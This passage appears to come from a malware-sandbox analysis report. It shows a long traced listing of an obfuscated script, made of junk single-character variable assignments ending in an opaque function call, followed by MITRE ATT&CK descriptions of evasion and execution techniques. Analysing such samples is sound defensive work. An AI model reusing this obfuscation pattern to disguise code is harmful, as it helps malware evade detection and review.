414	uhlinj = "0";
415	iogor = "h";
416	iogor = "T";
417	iogor = "x";
418	iogor = "x";
419	iogor = "Q";
420	iogor = "p";
421	iogor = "i";
422	iogor = "W";
423	iogor = "n";
424	iogor = "m";
425	iogor = "j";
426	iogor = "z";
427	iogor = "M";
428	iogor = "t";
429	iogor = "K";
430	iogor = "y";
431	iogor = "E";
432	iogor = "m";
433	iogor = "t";
434	iogor = "c";
435	iogor = "b";
436	iogor = "Z";
437	iogor = "I";
438	iogor = "Y";
439	iogor = "x";
440	iogor = "L";
441	iogor = "I";
442	iogor = "t";
443	iogor = "M";
444	iogor = "c";
445	iogor = "O";
446	iogor = "j";
447	iogor = "k";
448	bpfsgbsbh = "a";
449	bpfsgbsbh = "t";
450	bpfsgbsbh = "a";
451	bpfsgbsbh = "v";
452	bpfsgbsbh = "O";
453	bpfsgbsbh = "q";
454	bpfsgbsbh = "j";
455	bpfsgbsbh = "T";
456	bpfsgbsbh = "D";
457	bpfsgbsbh = "J";
458	bpfsgbsbh = "y";
459	bpfsgbsbh = "V";
460	bpfsgbsbh = "N";
461	bpfsgbsbh = "S";
462	bpfsgbsbh = "N";
463	bpfsgbsbh = "U";
464	bpfsgbsbh = "T";
465	bpfsgbsbh = "L";
466	bpfsgbsbh = "_";
467	nmfzjvzvx = "U";
468	nmfzjvzvx = "m";
469	nmfzjvzvx = "D";
470	nmfzjvzvx = "D";
471	nmfzjvzvx = "p";
472	nmfzjvzvx = "n";
473	nmfzjvzvx = "r";
474	nmfzjvzvx = "N";
475	nmfzjvzvx = "l";
476	nmfzjvzvx = "h";
477	nmfzjvzvx = "j";
478	nmfzjvzvx = "d";
479	nmfzjvzvx = "l";
480	nmfzjvzvx = "y";
481	nmfzjvzvx = "U";
482	nmfzjvzvx = "k";
483	nmfzjvzvx = "c";
484	nmfzjvzvx = "e";
485	nmfzjvzvx = "O";
486	nmfzjvzvx = "S";
487	nmfzjvzvx = "z";
488	nmfzjvzvx = "D";
489	nmfzjvzvx = "q";
490	nmfzjvzvx = "C";
491	nmfzjvzvx = "V";
492	nmfzjvzvx = "n";
493	nmfzjvzvx = "n";
494	nmfzjvzvx = "Q";
495	nmfzjvzvx = "G";
496	nmfzjvzvx = "W";
497	nmfzjvzvx = "u";
498	nmfzjvzvx = "S";
499	nmfzjvzvx = "w";
500	uwkli = "M";
501	uwkli = "p";
502	uwkli = "s";
503	uwkli = "W";
504	uwkli = "J";
505	uwkli = "o";
506	npqxfkze = "T";
507	npqxfkze = "n";
508	npqxfkze = "Y";
509	npqxfkze = "n";
510	npqxfkze = "D";
511	npqxfkze = "X";
512	npqxfkze = "x";
513	npqxfkze = "q";
514	npqxfkze = "t";
515	npqxfkze = "Q";
516	npqxfkze = "t";
517	npqxfkze = "F";
518	npqxfkze = "o";
519	npqxfkze = "u";
520	npqxfkze = "N";
521	npqxfkze = "Z";
522	npqxfkze = "X";
523	npqxfkze = "y";
524	npqxfkze = "x";
525	npqxfkze = "y";
526	npqxfkze = "s";
527	npqxfkze = "K";
528	npqxfkze = "T";
529	npqxfkze = "e";
530	npqxfkze = "u";
531	npqxfkze = "C";
532	fytxgc = "P";
533	fytxgc = "x";
534	fytxgc = "X";
535	fytxgc = "s";
536	fytxgc = "M";
537	fytxgc = "q";
538	fytxgc = "s";
539	fytxgc = "k";
540	fytxgc = "l";
541	fytxgc = "u";
542	fytxgc = "S";
543	fytxgc = "V";
544	fytxgc = "Q";
545	fytxgc = "E";
546	fytxgc = "H";
547	fytxgc = "H";
548	fytxgc = "n";
549	fytxgc = "i";
550	fytxgc = "i";
551	fytxgc = "M";
552	fytxgc = "K";
553	fytxgc = "V";
554	fytxgc = "d";
555	fytxgc = "Y";
556	fytxgc = "t";
557	fytxgc = "o";
558	fytxgc = "L";
559	fytxgc = "N";
560	fytxgc = "K";
561	fytxgc = "V";
562	fytxgc = "z";
563	fytxgc = "i";
564	fytxgc = "K";
565	fytxgc = "N";
566	fytxgc = "E";
567	fytxgc = "Q";
568	fytxgc = "h";
569	fytxgc = "d";
570	fytxgc = "x";
571	glbpw = "R";
572	glbpw = "O";
573	glbpw = "j";
574	glbpw = "J";
575	glbpw = "F";
576	glbpw = "d";
577	glbpw = "U";
578	glbpw = "h";
579	glbpw = "T";
580	glbpw = "g";
581	glbpw = "m";
582	glbpw = "B";
583	glbpw = "J";
584	glbpw = "O";
585	glbpw = "b";
586	glbpw = "X";
587	glbpw = "k";
588	glbpw = "O";
589	glbpw = "S";
590	glbpw = "H";
591	glbpw = "h";
592	glbpw = "m";
593	glbpw = "Z";
594	glbpw = "Q";
595	glbpw = "I";
596	glbpw = "F";
597	glbpw = "b";
598	glbpw = "W";
599	glbpw = "T";
600	glbpw = "T";
601	glbpw = "K";
602	glbpw = "v";
603	glbpw = "N";
604	glbpw = "i";
605	glbpw = "V";
606	glbpw = "k";
607	glbpw = "M";
608	glbpw = "O";
609	glbpw = "o";
610	glbpw = "X";
611	glbpw = "H";
612	glbpw = "b";
613	glbpw = "@";
614	pvzpadwfh = "v";
615	pvzpadwfh = "t";
616	pvzpadwfh = "t";
617	pvzpadwfh = "u";
618	pvzpadwfh = "J";
619	pvzpadwfh = "K";
620	pvzpadwfh = "P";
621	pvzpadwfh = "R";
622	pvzpadwfh = "S";
623	pvzpadwfh = "J";
624	pvzpadwfh = "G";
625	pvzpadwfh = "C";
626	pvzpadwfh = "K";
627	pvzpadwfh = "q";
628	pvzpadwfh = "S";
629	pvzpadwfh = "I";
630	pvzpadwfh = "I";
631	pvzpadwfh = "z";
632	pvzpadwfh = "K";
633	pvzpadwfh = "T";
634	pvzpadwfh = "u";
635	pvzpadwfh = "j";
636	wxvmrhw = "t";
637	wxvmrhw = "A";
638	wxvmrhw = "i";
639	wxvmrhw = "o";
640	wxvmrhw = "h";
641	wxvmrhw = "J";
642	wxvmrhw = "M";
643	wxvmrhw = "O";
644	pywrljb = "i";
645	pywrljb = "M";
646	pywrljb = "C";
647	pywrljb = "a";
648	pywrljb = "g";
649	pywrljb = "M";
650	pywrljb = "u";
651	pywrljb = "s";
652	pywrljb = "i";
653	pywrljb = "R";
654	pywrljb = "z";
655	pywrljb = "i";
656	pywrljb = "n";
657	pywrljb = "r";
658	pywrljb = "g";
659	pywrljb = "J";
660	pywrljb = "v";
661	pywrljb = "1";
662	vtnfxz = "A";
663	vtnfxz = "y";
664	vtnfxz = "z";
665	vtnfxz = "X";
666	vtnfxz = "H";
667	vtnfxz = "m";
668	vtnfxz = "F";
669	vtnfxz = "v";
670	vtnfxz = "C";
671	vtnfxz = "Z";
672	vtnfxz = "n";
673	vtnfxz = "x";
674	vtnfxz = "Y";
675	vtnfxz = "O";
676	vtnfxz = "i";
677	vtnfxz = "x";
678	vtnfxz = "q";
679	vtnfxz = "Q";
680	vtnfxz = "Q";
681	vtnfxz = "K";
682	vtnfxz = "X";
683	vtnfxz = "N";
684	vtnfxz = "Y";
685	vtnfxz = "&";
686	zcdugpw = "X";
687	zcdugpw = "U";
688	zcdugpw = "e";
689	zcdugpw = "o";
690	zcdugpw = "Y";
691	zcdugpw = "x";
692	zcdugpw = "K";
693	zcdugpw = "f";
694	zcdugpw = "G";
695	zcdugpw = "V";
696	zcdugpw = "w";
697	zcdugpw = "l";
698	zcdugpw = "y";
699	zcdugpw = "u";
700	zcdugpw = "x";
701	zcdugpw = "R";
702	tmwznxq = "E";
703	tmwznxq = "h";
704	tmwznxq = "H";
705	tmwznxq = "x";
706	tmwznxq = "X";
707	tmwznxq = "n";
708	tmwznxq = "N";
709	tmwznxq = "A";
710	tmwznxq = "r";
711	tmwznxq = "E";
712	tmwznxq = "z";
713	tmwznxq = "I";
714	tmwznxq = "W";
715	tmwznxq = "a";
716	tmwznxq = "V";
717	tmwznxq = "o";
718	tmwznxq = "d";
719	tmwznxq = "F";
720	tmwznxq = "b";
721	tmwznxq = "F";
722	tmwznxq = "A";
723	tmwznxq = "q";
724	tmwznxq = "a";
725	tmwznxq = "l";
726	tmwznxq = "r";
727	tmwznxq = "c";
728	tmwznxq = "v";
729	tmwznxq = "C";
730	tmwznxq = "W";
731	tmwznxq = "l";
732	tmwznxq = "A";
733	tmwznxq = "z";
734	tmwznxq = "K";
735	tmwznxq = "w";
736	tmwznxq = "p";
737	nfhjouug = "Y";
738	nfhjouug = "x";
739	nfhjouug = "v";
740	nfhjouug = "d";
741	nfhjouug = "F";
742	nfhjouug = "b";
743	nfhjouug = "W";
744	nfhjouug = "S";
745	nfhjouug = "b";
746	nfhjouug = "S";
747	nfhjouug = "q";
748	nfhjouug = "u";
749	nfhjouug = "2";
750	gqkxcqbk = "L";
751	gqkxcqbk = "z";
752	gqkxcqbk = "q";
753	dtrrzrt = "Q";
754	dtrrzrt = "o";
755	dtrrzrt = "c";
756	dtrrzrt = "B";
757	dtrrzrt = "X";
758	dtrrzrt = "J";
759	dtrrzrt = "G";
760	dtrrzrt = "i";
761	dtrrzrt = "o";
762	dtrrzrt = "n";
763	dtrrzrt = "F";
764	dtrrzrt = "j";
765	dtrrzrt = "y";
766	dtrrzrt = "e";
767	dtrrzrt = "M";
768	dtrrzrt = "X";
769	dtrrzrt = "Y";
770	dtrrzrt = "m";
771	dtrrzrt = "N";
772	dtrrzrt = "Q";
773	dtrrzrt = "O";
774	dtrrzrt = "S";
775	dtrrzrt = "E";
776	dtrrzrt = "o";
777	dtrrzrt = "d";
778	dtrrzrt = "A";
779	dtrrzrt = "T";
780	dtrrzrt = "L";
781	dtrrzrt = "M";
782	dtrrzrt = "C";
783	dtrrzrt = "r";
784	dtrrzrt = "t";
785	dtrrzrt = "I";
786	dtrrzrt = "n";
787	dtrrzrt = "w";
788	dtrrzrt = "K";
789	dtrrzrt = "n";
790	dtrrzrt = "p";
791	dtrrzrt = "d";
792	dtrrzrt = "V";
793	dtrrzrt = "o";
794	dtrrzrt = "i";
795	xudlhq = "R";
796	xudlhq = "Y";
797	xudlhq = "T";
798	xudlhq = "F";
799	xudlhq = "z";
800	xudlhq = "E";
801	xudlhq = "m";
802	xudlhq = "D";
803	xudlhq = "D";
804	xudlhq = "C";
805	xudlhq = "P";
806	xudlhq = "o";
807	xudlhq = "Z";
808	xudlhq = "I";
809	xudlhq = "V";
810	xudlhq = "U";
811	xudlhq = "r";
812	xudlhq = "F";
813	xudlhq = "\\";
814	mlchcv = "j";
815	mlchcv = "a";
816	mlchcv = "n";
817	mlchcv = "t";
818	brveecf = "u";
819	brveecf = "m";
820	brveecf = "d";
821	brveecf = "C";
822	brveecf = "y";
823	brveecf = "s";
824	brveecf = "R";
825	brveecf = "Y";
826	brveecf = "m";
827	brveecf = "l";
828	brveecf = "h";
829	brveecf = "X";
830	brveecf = "R";
831	brveecf = "e";
832	brveecf = "n";
833	brveecf = "S";
834	brveecf = "H";
835	brveecf = "z";
836	brveecf = "w";
837	brveecf = "8";
838	pitig = "A";
839	pitig = "B";
840	pitig = "O";
841	pitig = "o";
842	pitig = "a";
843	pitig = "C";
844	pitig = "e";
845	pitig = "i";
846	pitig = "N";
847	pitig = "b";
848	pitig = "x";
849	pitig = "g";
850	pitig = "C";
851	pitig = "M";
852	pitig = "p";
853	pitig = "Q";
854	pitig = "B";
855	pitig = "S";
856	pitig = "m";
857	pitig = "i";
858	pitig = "c";
859	pitig = "e";
860	mfwwxuz = "U";
861	mfwwxuz = "I";
862	mfwwxuz = "s";
863	mfwwxuz = "j";
864	mfwwxuz = "D";
865	mfwwxuz = "D";
866	mfwwxuz = "x";
867	mfwwxuz = "p";
868	mfwwxuz = "i";
869	mfwwxuz = "D";
870	mfwwxuz = "u";
871	mfwwxuz = "b";
872	mfwwxuz = "F";
873	mfwwxuz = "B";
874	mfwwxuz = "t";
875	mfwwxuz = "p";
876	mfwwxuz = "b";
877	mfwwxuz = "T";
878	mfwwxuz = "g";
879	mfwwxuz = "U";
880	mfwwxuz = "I";
881	mfwwxuz = "N";
882	mfwwxuz = "t";
883	mfwwxuz = "N";
884	mfwwxuz = "K";
885	mfwwxuz = "A";
886	mfwwxuz = "P";
887	mfwwxuz = "W";
888	mfwwxuz = "x";
889	mfwwxuz = "Q";
890	mfwwxuz = "d";
891	mfwwxuz = "k";
892	mfwwxuz = "r";
893	mfwwxuz = "y";
894	mfwwxuz = "P";
895	mfwwxuz = "U";
896	mfwwxuz = "M";
897	mfwwxuz = "V";
898	mfwwxuz = "Q";
899	cohmqddh = "H";
900	cohmqddh = "Z";
901	cohmqddh = "x";
902	cohmqddh = "Q";
903	cohmqddh = "v";
904	cohmqddh = "z";
905	cohmqddh = "s";
906	cohmqddh = "j";
907	cohmqddh = "k";
908	cohmqddh = "o";
909	cohmqddh = "p";
910	cohmqddh = "Z";
911	cohmqddh = "Z";
912	cohmqddh = "K";
913	cohmqddh = "n";
914	cohmqddh = "O";
915	cohmqddh = "d";
916	cohmqddh = "S";
917	cohmqddh = "W";
918	cohmqddh = "m";
919	pixwvulh = "L";
920	pixwvulh = "P";
921	pixwvulh = "Z";
922	pixwvulh = "z";
923	pixwvulh = "v";
924	pixwvulh = "c";
925	pixwvulh = "e";
926	pixwvulh = "g";
927	pixwvulh = "t";
928	pixwvulh = "r";
929	pixwvulh = "b";
930	pixwvulh = "i";
931	pixwvulh = "T";
932	pixwvulh = "o";
933	pixwvulh = "E";
934	pixwvulh = "T";
935	pixwvulh = "s";
936	pixwvulh = "a";
937	pixwvulh = "Q";
938	pixwvulh = "I";
939	pixwvulh = "Z";
940	pixwvulh = "V";
941	pixwvulh = "I";
942	pixwvulh = "n";
943	pixwvulh = ".";
944	acehwatin = "q";
945	acehwatin = "N";
946	acehwatin = "d";
947	acehwatin = "B";
948	acehwatin = "w";
949	acehwatin = "i";
950	acehwatin = "K";
951	acehwatin = "W";
952	acehwatin = "j";
953	acehwatin = "p";
954	acehwatin = "w";
955	acehwatin = "O";
956	acehwatin = "E";
957	acehwatin = "v";
958	acehwatin = "z";
959	acehwatin = "a";
960	acehwatin = "a";
961	qebaqqubk = "Y";
962	qebaqqubk = "n";
963	qebaqqubk = "E";
964	qebaqqubk = "o";
965	qebaqqubk = "I";
966	qebaqqubk = "U";
967	qebaqqubk = "l";
968	qebaqqubk = "V";
969	qebaqqubk = "u";
970	qebaqqubk = "g";
971	qebaqqubk = "e";
972	qebaqqubk = "N";
973	qebaqqubk = "Z";
974	qebaqqubk = "J";
975	qebaqqubk = "m";
976	qebaqqubk = "V";
977	qebaqqubk = "l";
978	qebaqqubk = "C";
979	qebaqqubk = "M";
980	qebaqqubk = "U";
981	qebaqqubk = "k";
982	qebaqqubk = "J";
983	qebaqqubk = "Q";
984	qebaqqubk = "M";
985	qebaqqubk = "d";
986	qebaqqubk = "b";
987	qebaqqubk = "A";
988	qebaqqubk = "v";
989	qebaqqubk = "w";
990	qebaqqubk = "E";
991	qebaqqubk = "U";
992	qebaqqubk = "w";
993	qebaqqubk = "i";
994	qebaqqubk = "W";
995	qebaqqubk = "n";
996	qebaqqubk = "V";
997	qebaqqubk = "w";
998	qebaqqubk = "b";
999	qebaqqubk = "z";
1000	qebaqqubk = "/";
1001	tlyzodv = "B";
1002	tlyzodv = "L";
1003	tlyzodv = "C";
1004	tlyzodv = "L";
1005	tlyzodv = "w";
1006	tlyzodv = "f";
1007	tlyzodv = "T";
1008	tlyzodv = "O";
1009	tlyzodv = "s";
1010	tlyzodv = "Q";
1011	tlyzodv = "N";
1012	tlyzodv = "g";
1013	tlyzodv = "U";
1014	stqmbyp = "o";
1015	stqmbyp = "z";
1016	stqmbyp = "v";
1017	stqmbyp = "y";
1018	stqmbyp = "i";
1019	stqmbyp = "E";
1020	stqmbyp = "X";
1021	stqmbyp = "A";
1022	stqmbyp = "i";
1023	stqmbyp = "o";
1024	stqmbyp = "p";
1025	stqmbyp = "R";
1026	stqmbyp = "T";
1027	stqmbyp = "p";
1028	stqmbyp = "N";
1029	stqmbyp = "l";
1030	stqmbyp = "E";
1031	stqmbyp = "r";
1032	stqmbyp = "O";
1033	stqmbyp = "j";
1034	stqmbyp = "B";
1035	stqmbyp = "P";
1036	stqmbyp = "H";
1037	stqmbyp = "f";
1038	stqmbyp = "g";
1039	stqmbyp = "b";
1040	stqmbyp = "L";
1041	stqmbyp = "F";
1042	stqmbyp = "r";
1043	stqmbyp = "h";
1044	lgynri = "C";
1045	lgynri = "D";
1046	lgynri = "P";
1047	lgynri = "X";
1048	lgynri = "E";
1049	lgynri = "v";
1050	lgynri = "R";
1051	lgynri = "w";
1052	lgynri = "A";
1053	lgynri = "G";
1054	lgynri = "B";
1055	lgynri = "D";
1056	lgynri = "g";
1057	lgynri = "v";
1058	lgynri = "U";
1059	lgynri = "s";
1060	tuvkn = "J";
1061	tuvkn = "r";
1062	tuvkn = "p";
1063	tuvkn = "W";
1064	fagcyd = "h";
1065	fagcyd = "U";
1066	fagcyd = "J";
1067	fagcyd = "n";
1068	fagcyd = "Y";
1069	fagcyd = "e";
1070	fagcyd = "n";
1071	fagcyd = "I";
1072	fagcyd = "I";
1073	fagcyd = "p";
1074	fagcyd = "S";
1075	fagcyd = "Q";
1076	fagcyd = "k";
1077	fagcyd = "C";
1078	fagcyd = "S";
1079	fagcyd = "s";
1080	fagcyd = "a";
1081	fagcyd = "A";
1082	fagcyd = "N";
1083	ifhsiqf = "i";
1084	ifhsiqf = "a";
1085	ifhsiqf = "v";
1086	ifhsiqf = "s";
1087	ifhsiqf = "a";
1088	ifhsiqf = "C";
1089	ifhsiqf = "b";
1090	ifhsiqf = "e";
1091	ifhsiqf = "i";
1092	ifhsiqf = "R";
1093	ifhsiqf = "D";
1094	ifhsiqf = "L";
1095	ifhsiqf = "W";
1096	ifhsiqf = "d";
1097	ifhsiqf = "g";
1098	ifhsiqf = "A";
1099	ifhsiqf = "a";
1100	ifhsiqf = "Y";
1101	ifhsiqf = "s";
1102	ifhsiqf = "R";
1103	ifhsiqf = "i";
1104	ifhsiqf = "m";
1105	ifhsiqf = "i";
1106	ifhsiqf = "f";
1107	ifhsiqf = "k";
1108	ifhsiqf = "u";
1109	ifhsiqf = "r";
1110	ifhsiqf = "l";
1111	ifhsiqf = "S";
1112	ifhsiqf = "b";
1113	ifhsiqf = "h";
1114	ifhsiqf = "j";
1115	ifhsiqf = "L";
1116	ifhsiqf = "x";
1117	ifhsiqf = "v";
1118	ifhsiqf = "j";
1119	ifhsiqf = "q";
1120	ifhsiqf = "F";
1121	ifhsiqf = "d";
1122	ifhsiqf = "W";
1123	ifhsiqf = "K";
1124	ifhsiqf = "k";
1125	ifhsiqf = "g";
1126	ifhsiqf = "s";
1127	ifhsiqf = "5";
1128	isfubxo = "e";
1129	isfubxo = "X";
1130	isfubxo = "o";
1131	isfubxo = "w";
1132	isfubxo = "N";
1133	isfubxo = "a";
1134	isfubxo = " ";
1135	rlpwjixe = "I";
1136	rlpwjixe = "m";
1137	rlpwjixe = "t";
1138	rlpwjixe = "q";
1139	rlpwjixe = "G";
1140	rlpwjixe = "x";
1141	rlpwjixe = "u";
1142	rlpwjixe = "D";
1143	rlpwjixe = "Q";
1144	rlpwjixe = "l";
1145	rlpwjixe = "X";
1146	rlpwjixe = "c";
1147	rlpwjixe = "q";
1148	rlpwjixe = "a";
1149	rlpwjixe = "R";
1150	rlpwjixe = "A";
1151	rlpwjixe = "r";
1152	rlpwjixe = ":";
1153	ximdg = "q";
1154	ximdg = "F";
1155	ximdg = "f";
1156	ximdg = "S";
1157	ximdg = "U";
1158	ximdg = "E";
1159	ximdg = "t";
1160	ximdg = "g";
1161	ximdg = "z";
1162	ximdg = "C";
1163	ximdg = "h";
1164	ximdg = "w";
1165	ximdg = "o";
1166	ximdg = "Y";
1167	ximdg = "c";
1168	ximdg = "y";
1169	ximdg = "z";
1170	ximdg = "y";
1171	ximdg = "w";
1172	ximdg = "Z";
1173	ximdg = "3";
1174	mcfngcza = "H";
1175	mcfngcza = "l";
1176	mcfngcza = "Q";
1177	mcfngcza = "W";
1178	mcfngcza = "g";
1179	mcfngcza = "Q";
1180	mcfngcza = "9";
1181	gkqhtwtka = "q";
1182	gkqhtwtka = "i";
1183	gkqhtwtka = "I";
1184	gkqhtwtka = "Z";
1185	gkqhtwtka = "j";
1186	gkqhtwtka = "W";
1187	gkqhtwtka = "F";
1188	cybsgrcp = "v";
1189	cybsgrcp = "d";
1190	cybsgrcp = "X";
1191	cybsgrcp = "z";
1192	cybsgrcp = "j";
1193	cybsgrcp = "z";
1194	cybsgrcp = "v";
1195	cybsgrcp = "R";
1196	cybsgrcp = "W";
1197	cybsgrcp = "Y";
1198	cybsgrcp = "p";
1199	cybsgrcp = "s";
1200	cybsgrcp = "M";
1201	cybsgrcp = "D";
1202	cybsgrcp = "m";
1203	cybsgrcp = "f";
1204	cybsgrcp = "s";
1205	cybsgrcp = "D";
1206	cybsgrcp = "W";
1207	cybsgrcp = "C";
1208	cybsgrcp = "y";
1209	cybsgrcp = "i";
1210	cybsgrcp = "c";
1211	cybsgrcp = "K";
1212	cybsgrcp = "G";
1213	cybsgrcp = "V";
1214	cybsgrcp = "R";
1215	cybsgrcp = "O";
1216	cybsgrcp = "p";
1217	cybsgrcp = "V";
1218	cybsgrcp = "S";
1219	cybsgrcp = "T";
1220	cybsgrcp = "J";
1221	cybsgrcp = "7";
1222	xzncz = "O";
1223	xzncz = "V";
1224	xzncz = "q";
1225	xzncz = "J";
1226	xzncz = "A";
1227	xzncz = "Z";
1228	xzncz = "U";
1229	xzncz = "N";
1230	xzncz = "O";
1231	xzncz = "O";
1232	xzncz = "y";
1233	xzncz = "I";
1234	xzncz = "j";
1235	xzncz = "T";
1236	xzncz = "U";
1237	xzncz = "K";
1238	xzncz = "S";
1239	xzncz = "s";
1240	xzncz = "H";
1241	xzncz = "F";
1242	xzncz = "j";
1243	xzncz = "z";
1244	xzncz = "J";
1245	xzncz = "U";
1246	xzncz = "w";
1247	xzncz = "t";
1248	xzncz = "G";
1249	xzncz = "U";
1250	xzncz = "s";
1251	xzncz = "d";
1252	xzncz = "W";
1253	xzncz = "W";
1254	xzncz = "c";
1255	xzncz = "z";
1256	xzncz = "G";
1257	xzncz = "a";
1258	xzncz = "K";
1259	pdtexkzj = "e";
1260	pdtexkzj = "S";
1261	pdtexkzj = "Y";
1262	pdtexkzj = "V";
1263	pdtexkzj = "n";
1264	pdtexkzj = "I";
1265	pdtexkzj = "M";
1266	pdtexkzj = "Y";
1267	pdtexkzj = "z";
1268	pdtexkzj = "e";
1269	pdtexkzj = "x";
1270	pdtexkzj = "J";
1271	pdtexkzj = "y";
1272	pdtexkzj = "s";
1273	pdtexkzj = "D";
1274	pdtexkzj = "G";
1275	pdtexkzj = "A";
1276	pdtexkzj = "J";
1277	pdtexkzj = "S";
1278	pdtexkzj = "M";
1279	pdtexkzj = "I";
1280	pdtexkzj = "u";
1281	lzoidg = "F";
1282	lzoidg = "o";
1283	lzoidg = "I";
1284	lzoidg = "s";
1285	lzoidg = "A";
1286	lzoidg = "c";
1287	xduumz = "S";
1288	xduumz = "k";
1289	xduumz = "q";
1290	xduumz = "g";
1291	xduumz = "t";
1292	xduumz = "j";
1293	xduumz = "K";
1294	xduumz = "Y";
1295	xduumz = "a";
1296	xduumz = "l";
1297	xduumz = "w";
1298	xduumz = "n";
1299	xduumz = "q";
1300	xduumz = "A";
1301	xduumz = "S";
1302	xduumz = "E";
1303	xduumz = "t";
1304	xduumz = "S";
1305	xduumz = "T";
1306	xduumz = "r";
1307	xduumz = "Q";
1308	xduumz = "C";
1309	xduumz = "S";
1310	xduumz = "L";
1311	xduumz = "V";
1312	xduumz = "I";
1313	xduumz = "g";
1314	xduumz = "f";
1315	jaksvn = "d";
1316	jaksvn = "d";
1317	jaksvn = "z";
1318	jaksvn = "v";
1319	jaksvn = "N";
1320	jaksvn = "h";
1321	jaksvn = "j";
1322	jaksvn = "n";
1323	jaksvn = "B";
1324	jaksvn = "C";
1325	jaksvn = "M";
1326	jaksvn = "z";
1327	jaksvn = "f";
1328	jaksvn = "O";
1329	jaksvn = "t";
1330	jaksvn = "u";
1331	jaksvn = "q";
1332	jaksvn = "n";
1333	jaksvn = "N";
1334	jaksvn = "V";
1335	jaksvn = "M";
1336	jaksvn = "G";
1337	jaksvn = "E";
1338	jaksvn = "B";
1339	jaksvn = "s";
1340	jaksvn = "N";
1341	jaksvn = "y";
1342	jaksvn = "w";
1343	jaksvn = "s";
1344	jaksvn = "n";
1345	jaksvn = "l";
1346	jaksvn = "d";
1347	jaksvn = "\"";
1348	zbbkwdmll = "6";
1349	crvqrre ( );	crvqrre() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
